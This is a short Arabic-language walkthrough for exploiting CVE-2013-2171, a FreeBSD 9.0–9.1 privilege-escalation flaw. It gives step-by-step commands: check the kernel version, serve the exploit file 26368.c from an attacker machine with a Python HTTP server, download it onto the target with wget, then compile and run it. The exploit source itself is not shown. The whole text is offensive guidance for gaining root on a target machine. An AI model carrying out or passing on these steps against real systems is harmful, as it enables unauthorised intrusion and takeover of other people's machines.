FreeBSD-9.0-9.1 - تصعيد الصلاحيات

CVE-2013-2171

بواسطة [email protected]

كيفية الاستغلال!

1° تحقق من إصدار kernel

uname -a

FreeBSD freebsd 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan  3 07:46:30 UTC 2012

2° انقل هذا الملف إلى الهدف

Attacker machine -> python3 -m http.server 8080

Target machine -> wget IP:8080/26368.c

3° استخدم GCC لتجميع الكود

gcc 26368.c -o exploit

4° قم بتشغيل الاستغلال

./exploit